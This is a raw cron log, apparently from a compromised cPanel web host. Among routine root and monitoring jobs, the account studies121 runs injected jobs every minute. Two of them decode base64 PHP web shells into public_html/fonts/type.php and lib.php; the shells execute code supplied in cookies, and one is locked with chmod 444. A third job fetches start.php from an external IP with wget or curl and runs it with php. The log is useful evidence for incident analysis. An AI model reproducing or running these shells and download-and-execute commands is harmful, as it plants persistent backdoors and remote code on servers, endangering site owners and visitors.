Sep  2 13:26:02 ip-184-168-122-23 CROND[23312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:26:02 ip-184-168-122-23 CROND[23315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:26:02 ip-184-168-122-23 CROND[23316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:27:01 ip-184-168-122-23 CROND[23436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:27:01 ip-184-168-122-23 CROND[23438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:27:01 ip-184-168-122-23 CROND[23440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:27:01 ip-184-168-122-23 CROND[23439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:28:01 ip-184-168-122-23 CROND[23527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:28:01 ip-184-168-122-23 CROND[23529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:28:01 ip-184-168-122-23 CROND[23531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:28:01 ip-184-168-122-23 CROND[23532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:28:01 ip-184-168-122-23 CROND[23534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:29:01 ip-184-168-122-23 CROND[23644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:29:01 ip-184-168-122-23 CROND[23646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:29:01 ip-184-168-122-23 CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:29:01 ip-184-168-122-23 CROND[23647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23789]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:30:01 ip-184-168-122-23 CROND[23794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:30:01 ip-184-168-122-23 CROND[23799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:30:01 ip-184-168-122-23 CROND[23801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:31:01 ip-184-168-122-23 CROND[23905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:31:01 ip-184-168-122-23 CROND[23908]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:31:01 ip-184-168-122-23 CROND[23911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:31:01 ip-184-168-122-23 CROND[23912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:31:01 ip-184-168-122-23 CROND[23909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:32:01 ip-184-168-122-23 CROND[24005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:32:01 ip-184-168-122-23 CROND[24008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:32:01 ip-184-168-122-23 CROND[24007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:32:01 ip-184-168-122-23 CROND[24010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:32:01 ip-184-168-122-23 CROND[24011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:33:01 ip-184-168-122-23 CROND[24180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:33:01 ip-184-168-122-23 CROND[24181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:33:01 ip-184-168-122-23 CROND[24182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:33:01 ip-184-168-122-23 CROND[24183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:34:01 ip-184-168-122-23 CROND[24335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:34:01 ip-184-168-122-23 CROND[24338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:34:01 ip-184-168-122-23 CROND[24337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:34:01 ip-184-168-122-23 CROND[24339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:34:01 ip-184-168-122-23 CROND[24340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:35:01 ip-184-168-122-23 CROND[24454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:35:02 ip-184-168-122-23 CROND[24457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24462]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 13:35:02 ip-184-168-122-23 CROND[24465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:36:01 ip-184-168-122-23 CROND[24583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:36:01 ip-184-168-122-23 CROND[24585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:36:01 ip-184-168-122-23 CROND[24588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:36:01 ip-184-168-122-23 CROND[24586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:36:01 ip-184-168-122-23 CROND[24587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:37:01 ip-184-168-122-23 CROND[24703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:37:01 ip-184-168-122-23 CROND[24705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:37:01 ip-184-168-122-23 CROND[24706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:37:01 ip-184-168-122-23 CROND[24707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:38:01 ip-184-168-122-23 CROND[24889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:38:01 ip-184-168-122-23 CROND[24891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:38:01 ip-184-168-122-23 CROND[24892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
